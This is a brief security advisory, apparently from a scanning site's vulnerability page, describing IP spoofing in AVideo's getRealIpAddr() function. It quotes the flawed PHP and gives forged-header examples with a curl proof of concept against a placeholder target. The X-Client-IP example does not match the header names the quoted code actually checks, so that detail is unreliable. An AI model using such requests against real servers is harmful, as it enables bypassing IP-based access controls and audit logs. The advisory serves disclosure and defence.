| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
The getRealIpAddr() function in objects/functions.php trusts user-controlled HTTP headers to determine the client's IP address.
An attacker can spoof their IP address by sending forged headers, bypassing any IP-based access controls or audit logging.
File: objects/functions.php
$headers = [
'HTTP_X_REAL_IP',
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'REMOTE_ADDR'
];
foreach ($headers as $header) {
if (!empty($_SERVER[$header])) {
$ips = explode(',', $_SERVER[$header]);
foreach ($ips as $ipCandidate) {
$ipCandidate = trim($ipCandidate);
if (filter_var($ipCandidate, FILTER_VALIDATE_IP,
FILTER_FLAG_IPV4)) {
return $ipCandidate;
}
}
}
}
X-Client-IP: 127.0.0.1
or
X-Real-IP: 192.168.1.1
getRealIpAddr() returns the forged IPcurl -H "X-Client-IP: 127.0.0.1" \
https://target.com/any_endpoint.php
The server now believes the request came from localhost.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí